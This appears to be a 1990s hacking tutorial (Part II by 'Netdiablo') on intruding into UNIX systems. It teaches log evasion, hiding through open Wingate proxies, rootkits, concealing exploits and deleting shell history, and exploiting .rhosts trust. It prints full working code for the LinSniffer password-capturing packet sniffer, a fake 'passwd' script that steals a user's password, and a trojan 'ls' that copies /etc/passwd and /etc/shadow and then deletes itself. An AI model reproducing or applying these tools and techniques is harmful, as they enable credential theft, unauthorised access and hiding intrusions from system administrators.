home *** CD-ROM | disk | FTP | other *** search
- A Beginners Introduction To Hacking Around On The UNIX Operating System
- Part II, By Netdiablo <ndiablo@complink.net>
-
- Assuming you've read the first part of this text about hacking around on the
- UNIX operating system, you know about some of the simpler aspects of UNIX
- use and cracking. You should know about how to idenfify a UNIX, what sort of
- default accounts there are on a UNIX, how to get and crack the passwd file,
- and some of the information behind buffer overflow exploits. However, to
- retain brevity and keep it simple, i left some things out. This second part
- will explain some of the more interesting techniques of using a UNIX once
- you get on it, using a UNIX to gain further access to other machines on the
- network, and extending your stay on a target UNIX.
-
- First of all, more on extending your stay on a target system. This is all
- about evading detection. As i had said in the first file, try at all costs
- to stay out of the logs. Here is a list of some things you should be
- be careful about:
-
- * Attempts of "su"
- * Connecting to any port from a location you don't want known
- # Bad login attempts, especially with "root"
-
- Most of these are common sense. Don't try and brute force logins. You should
- stay away from "su" at all times. It logs who you su'ed to and which user did
- the su'ing. If you need to login as a different user, just re-login to the
- system.
-
- This brings another topic into view, the 'redirector'. A 'redirector' is a
- system that you go through to attack a target so your real location is
- hidden. Of course, you could use another system you have cracked for this
- purpose, or you could use other things, such as routers, or things like
- 'Wingate' or 'WebRamp' systems. Some of these, especially the 'WebRamp'
- and 'Wingates' are run by normal users without any administration
- experience. For the WebRamp, i believe you will need a username and password,
- although defaults do exist, and normal users will probably not change them.
- I'll leave it up to you to find more information on those, however.
- The Wingate, however, is your best ticket. It demands no authentication.
- You will know you have hit a Wingate from the "WinGate>" prompt. At this
- prompt, simply enter the name of the host to connect to, and optionally a
- port to connect to, and you will be connected right through the Wingate!
- Now, the target host will only be able to track you back to your redirector,
- and you will be safer than if you had connected directly to the target
- from your machine.
-
- But, what if the system administrator or a nosy user is logged in and finds
- you doing something potentially unusual by using standard system status
- commands like 'ls' and 'ps'? There are ways to get around this also. There
- are sets of programs out called 'rootkits'. These programs are modified
- versions of programs like 'ps', 'login', and 'ls' that have been modified.
- For instance, a rootkit 'login' program might contain a backdoor allowing
- a user to login as root by typing a certain word at the login prompt. A
- rootkit 'ps' program might hide certain processes run by a certain user. A
- rootkit 'ls' program might not show some files in certain directories. Using
- a rootkit will allow you to extend your stay on the system for a long time,
- especially if the system administrator does not suspect anything at all. He
- will just be left in the dark by the rootkit programs and will never know
- otherwise! Rootkits can be aquired at many places, although, as before, i
- recommend rootshell.com. Of course, you have to have cracked root first
- to be able to install a rootkit, so if you havent done that yet, some of the
- tips below will still be helpful to you.
-
- Another common sense tip is, obviously, hide your exploits. If you must leave
- exploits laying around on the target system, or other things like SUID shells,
- hide them in a hidden directory (this can be done by prefixing the file name
- with a period). Then, you will have at least a first line of security to your
- exploits being found. Also, dont name your exploits something that is likely
- to arouse suspicion. An program that an admin found called 'rootcracker'
- would be a lot more likely to arouse suspicion than a program like 'mail'.
-
- Also, keep track of command history files. These can be dangerous evidence of
- your activities that are just laying around. These are found in your home
- directory, and have names like ".history" and ".bash_history". Delete them!
- You might also want to look into running a shell like the Korn shell or the
- Z shell that does not leave command history files laying around.
-
- So, now you have at least some sort of access on this UNIX, and have hidden
- yourself fairly well. If you're still somewhat new, you might be wondering
- what to do now. Now, you might want to check out some interesting things
- that will help you to use your newly conquered UNIX to your advantage.
-
- First of all, ".rhosts" files. In a user's home directory, there will be a
- file called ".rhosts". This file contains a list of hosts that are considered
- "trusted". This is shown in the example below:
-
- Say there is a user "gary" and his .rhosts file contains the following hosts:
- system1.internet.com
- gate.nas.net
- dorothy.oz.com
-
- So, let's say that the the account mentioned above ("gary") was on a system
- called "system2.internet.com". So, since those three hosts were in the
- ".rhosts" file, a user named "gary" on "system1.internet.com",
- "gate.nas.net", and "dorothy.oz.com" could log into "system2.internet.com"
- without having to supply a password using the "rlogin" command! You can
- do this simply by typing "rlogin machine.com" when you are using the
- 'trusted' account. For instance, say "gary" on "gate.nas.net" wanted to
- login to "system2.internet.com", where the ".rhosts" file was that contained
- the three hosts above. All he would have to do is type
- "rlogin system2.internet.com" and he would be in without having to type a
- password!
-
- Obviously, this concept of 'trust' is simply a vulnerability. Remember X-Files.
- 'Trust no one' (heh). Hosts that are using 'rlogin' along with '.rhosts' files
- should be simple cracks.
-
- Another way to use a UNIX to your advantage in getting access on other machines
- is the packet sniffer. A packet sniffer runs on a network interface, such as
- an ethernet or PPP link, and captures the contents of all the data packets that
- travel across that interface. What this translates to is that if you run a
- packet sniffer on a link that people are often using, you will capture a lot
- of logins and passwords!
-
- Good examples of packet sniffers are the classic 'tcpdump' and others, such
- as 'linsniff' and 'sniffit'. The code of 'linsniff is given below:
-
- /*
- LinSniffer 0.03.9 [BETA; so if it crashes your network... ]
- Originally by: Mike Edulla (medulla@infosoc.com)
-
- Modified by XinU for the net poSSe.
-
- For legal/educational use only.
-
- We are not responsible for your stupidity.
-
- Last Modified: March 15, 1997
-
- To compile: gcc -o linsniff linsniff.c
- To Run: touch /root/private/.sniff.log
-
- ./linsniff &
- tail -f /root/private/.sniff.log
-
- */
-
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/time.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <string.h>
- #include <linux/if.h>
- #include <signal.h>
- #include <stdio.h>
- #include <arpa/inet.h>
- #include <linux/socket.h>
- #include <linux/ip.h>
- #include <linux/tcp.h>
- #include <linux/if_ether.h>
-
- int openintf(char *);
- int read_tcp(int);
- int filter(void);
- int print_header(void);
- int print_data(int, char *);
- char *hostlookup(unsigned long int);
- void clear_victim(void);
- void cleanup(int);
-
- struct etherpacket
- {
- struct ethhdr eth;
- struct iphdr ip;
- struct tcphdr tcp;
- char buff[8193];
- }ep;
-
- struct
- {
- unsigned long saddr;
- unsigned long daddr;
- unsigned short sport;
- unsigned short dport;
- int bytes_read;
- char active;
- time_t start_time;
- } victim;
-
- struct iphdr *ip;
- struct tcphdr *tcp;
- int s;
- FILE *fp;
-
- #define CAPTLEN 1024
- #define TIMEOUT 31
- #define TCPLOG "/root/private/.sniff.log"
-
- int openintf(char *d)
- {
- int fd;
- struct ifreq ifr;
- int s;
- fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
- if(fd < 0)
- {
- perror("cant get SOCK_PACKET socket");
- exit(0);
- }
- strcpy(ifr.ifr_name, d);
- s=ioctl(fd, SIOCGIFFLAGS, &ifr);
- if(s < 0)
- {
- close(fd);
- perror("cant get flags");
- exit(0);
- }
- ifr.ifr_flags |= IFF_PROMISC;
- s=ioctl(fd, SIOCSIFFLAGS, &ifr);
- if(s < 0) perror("Yo Mama! She Aint No Slut! (cant set promiscuous
- mode)");
- return fd;
- }
-
- int read_tcp(int s)
- {
- int x;
- while(1)
- {
- x=read(s, (struct etherpacket *)&ep, sizeof(ep));
- if(x > 1)
- {
- if(filter()==0) continue;
- x=x-54;
- if(x < 1) continue;
- return x;
- }
- }
- }
-
- int filter(void)
- {
- int p;
- p=0;
- if(ip->protocol != 6) return 0;
- if(victim.active != 0)
- if(victim.bytes_read > CAPTLEN)
- {
- fprintf(fp, "\n-----+ [CAPLEN Exceeded]+\n");
- clear_victim();
- return 0;
- }
- if(victim.active != 0)
- if(time(NULL) > (victim.start_time + TIMEOUT))
- {
- fprintf(fp, "\n-----+ [Timed Out]+\n");
- clear_victim();
- return 0;
- }
-
- if(ntohs(tcp->dest)==21) p=1; /* ftp */
- if(ntohs(tcp->dest)==23) p=1; /* telnet */
- if(ntohs(tcp->dest)==110) p=1; /* pop3 */
- if(ntohs(tcp->dest)==109) p=1; /* pop2 */
- if(ntohs(tcp->dest)==143) p=1; /* imap2 */
- if(ntohs(tcp->dest)==513) p=1; /* rlogin */
- if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
- if(victim.active == 0)
- if(p == 1)
- if(tcp->syn == 1)
- {
- victim.saddr=ip->saddr;
- victim.daddr=ip->daddr;
- victim.active=1;
- victim.sport=tcp->source;
- victim.dport=tcp->dest;
- victim.bytes_read=0;
- victim.start_time=time(NULL);
- print_header();
- }
- if(tcp->dest != victim.dport) return 0;
- if(tcp->source != victim.sport) return 0;
- if(ip->saddr != victim.saddr) return 0;
- if(ip->daddr != victim.daddr) return 0;
- if(tcp->rst == 1)
- {
- victim.active=0;
- alarm(0);
- fprintf(fp, "\n----- [RST]\n");
- clear_victim();
- return 0;
- }
- if(tcp->fin == 1)
- {
- victim.active=0;
- alarm(0);
- fprintf(fp, "\n----- [FIN]\n");
- clear_victim();
- return 0;
- }
- return 1;
- }
-
- int print_header(void)
- {
- fprintf(fp, "\n");
- fprintf(fp, "%s => ", hostlookup(ip->saddr));
- fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
- }
-
- int print_data(int datalen, char *data)
- {
- int i=0;
- int t=0;
-
- victim.bytes_read=victim.bytes_read+datalen;
- for(i=0;i != datalen;i++)
- {
- if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
- if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
- if(t > 75) {t=0;fprintf(fp, "\n");}
- }
- }
-
-
- main(int argc, char **argv)
- {
- s=openintf("eth0");
- ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
- tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
- signal(SIGHUP, SIG_IGN);
- signal(SIGINT, cleanup);
- signal(SIGTERM, cleanup);
- signal(SIGKILL, cleanup);
- signal(SIGQUIT, cleanup);
- if(argc == 2) fp=stdout;
- else fp=fopen(TCPLOG, "at");
- if(fp == NULL) { fprintf(stderr, "Sorry... cant open log file. gotta
- create it first eg: touch %s \n",TCPLOG);exit(0);}
- clear_victim();
- for(;;)
- {
- read_tcp(s);
- if(victim.active != 0)
- print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
- fflush(fp);
- }
- }
-
- char *hostlookup(unsigned long int in)
- {
- static char blah[1024];
- struct in_addr i;
- struct hostent *he;
-
- i.s_addr=in;
- he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
- if(he == NULL) strcpy(blah, inet_ntoa(i));
- else strcpy(blah, he->h_name);
- return blah;
- }
-
- void clear_victim(void)
- {
- victim.saddr=0;
- victim.daddr=0;
- victim.sport=0;
- victim.dport=0;
- victim.active=0;
- victim.bytes_read=0;
- victim.start_time=0;
- }
-
- void cleanup(int sig)
- {
- fprintf(fp, "Awww.... that hurts!....\n");
- close(s);
- fclose(fp);
- exit(0);
- }
-
- The problem with packet sniffers is that they will load down the system a bit,
- and will create somewhat large log files. As a result, it is safest to install
- a rootkit first that will at least hide your sniffer from the 'ps' program,
- and of course, hide the sniffer application and the log files it creates in a
- hidden directory.
-
- Another potential vulnerability is a user's PATH. Lets look at an example PATH
- for a lesson on this.
-
- ndiablo:anubis-gw /% echo $PATH
- /local/bin:/usr/bin:/bin
- ndiablo:anubis-gw /%
-
- In this case, no vulnerabilities here. But, say if there was another user, with
- a bit different PATH.
-
- unwitting:anubis-gw /home/unwitting% echo $PATH
- /home/unwitting:/usr/local/bin:/bin:/usr/bin
- unwitting:anubis-gw /home/unwitting%
-
- In this case, the first directory in the user's search path is the users home
- directory. This might not be a problem if the user has access privelages on
- his directory restricted, although, it might quickly become a problem if not.
-
- ndiablo:anubis-gw /home% ls -l
- total 1
- drwxrwxrwx 2 unwitting unwitting 1024 Jul 12 22:12 unwitting
- ndiablo:anubis-gw /home%
-
- Look here! The unwitting user has left his directory wide open. The combination
- of the wide open directory, and the fact that the first directory in the users
- search path is his home directory creates a vulnerability!
-
- How to exploit this? Many ways. First of all, if you're only dealing with a
- regular user, you might want to try stealing his password with a fake
- 'passwd' script. First, create a script in the users home directory called
- 'passwd'. Then, put the following into the script
-
- echo "Changing passwd for" $USERNAME
- stty -echo
- echo -n "Enter old password: "
- read password
- echo $password > /your/home/directory/.passwd.target
- echo "Incorrect password for" $USERNAME"."
- echo "The password for" $USERNAME "is unchanged."
- rm /targets/home/directory/passwd
-
- What will this do? Quite simply, itll pretend to be the passwd program. The
- user will run this, type in his password, and it will say it was incorrect.
- This is not such a big deal, he will just assume he mistyped it, and try
- again. The thing is that this script will delete itself, so next time the
- user will get the real program.
-
- Here's a bit more indepth look at that PATH thing. Say there is a user with
- a PATH shown below:
-
- /usr/bin:/bin:/usr/local/bin:/home/user
-
- So, when this user types his command at the command line, it follows a little
- flow chart.
-
- 1. User types command
- 2. Is command in /usr/bin? If yes, then execute command,
- else continue looking.
- 3. Is command in /bin? If yes, then execute command, else
- continue looking.
- 4. Is command in /usr/local/bin? If yes, then execute
- command, else continue looking.
- 5. Is command in /home/user? If yes, then execute command,
- else echo "Command not found"
-
- So, you can see, it checks all the directories in the search path, in order.
- In the script above, since it looked for the command in the users home
- directory first and found the fake passwd command, before it got to looking
- in /usr/bin where the real passwd command is.
-
- You might be wondering about the use of this especially if the user is just
- going to change his password again. Perhaps you wont get the exact password,
- but you might be able to find out what kind of password the user uses, or
- perhaps you could pick out a pattern (e.g. "word1" then "word2" and on).
-
- If you happened to find root in this sort of situation, however, you could
- make a script and call it something like 'ls' and use it for all sorts of
- purposes, like stealing passwd files, adding users, deleting files, and
- other general mayhem! Here's an example, a file called 'ls' in the root
- user's home directory.
-
- cp /etc/passwd /your/home/directory/.passwd
- cp /etc/shadow /your/home/directory/.shadow
- chown youruser.yourgroup /your/home/directory/.passwd
- chown youruser.yourgroup /your/home/directory/.shadow
- chmod 777 /your/home/directory/.passwd
- chmod 777 /your/home/directory/.shadow
- ls
- rm /root/ls
-
- Here, the script would have stolen the passwd and shadow files, and then
- executed the 'ls' command. Finally, it cleans up after itself so there is
- no evidence left behind.
-
- So, now you have had a few more exploits explained to you - more on evading
- detection, using redirectors to hide your origins, and exploiting systems
- using the .rhosts files and PATH vulnerabilities, as well as using sniffers
- to gain more usernames and passwords.
-
- Look for Volume III coming soon containing even more information explained
- in the in-depth tradition of the first files. Any questions or comments
- can be addressed to root@anubis-gw.dyn.ml.org or ndiablo@complink.net
-
- $ EOF -Netdiablo <ndiablo@complink.net> <root@anubis-gw.dyn.ml.org> $